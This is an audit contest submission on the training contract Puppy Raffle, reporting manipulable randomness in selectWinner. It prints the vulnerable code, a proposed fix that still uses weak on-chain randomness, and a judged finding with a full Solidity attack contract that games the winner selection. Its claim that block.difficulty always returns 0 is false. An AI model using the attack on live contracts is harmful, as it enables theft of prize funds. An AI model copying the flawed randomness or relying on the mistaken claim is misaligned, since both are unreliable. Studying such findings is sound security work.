Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

block.difficulty depricated

degencao

Replacement of block.difficulty by block.prevrandao

Description

  • What was originally intended as source of weak randomness(block.difficulty is still subject of validator/miners manipulations) is now(as of 11.02.2026) returns 0.

  • selectWinner() can be compromised

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// @> this is deterministic, depend solely on timestamp and players.length
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
​
uint256 tokenId = totalSupply();
// @> rarity depends solely on msg.sender
// We use a different RNG calculate from the winnerIndex to determine rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
​
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}

Risk

Likelihood:

  • It will happen always when selectWinner() is called

Impact:

  • Main point of raffle is that you can't calculate winner, or to do so is almost impossible
    But with block.difficulty always staying the same you can calculate results

Proof of Concept

Here's a fuction that returns value of block.difficulty after Ethereum PoS upgrade

// This will ALWAYS return 0
function rng() public view returns(uint256)
{
return block.difficulty;
}

Recommended Mitigation

Replacing source of randomness

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// Replaced block.difficulty with block.prevrandao(new source of weak randomness)
uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.prevrandao))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
​
uint256 tokenId = totalSupply();
// We use a different RNG calculate from the winnerIndex to determine rarity
// Replaced block.difficulty with block.prevrandao(new source of weak randomness)
- uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
+ uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.prevrandao))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
​
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 8 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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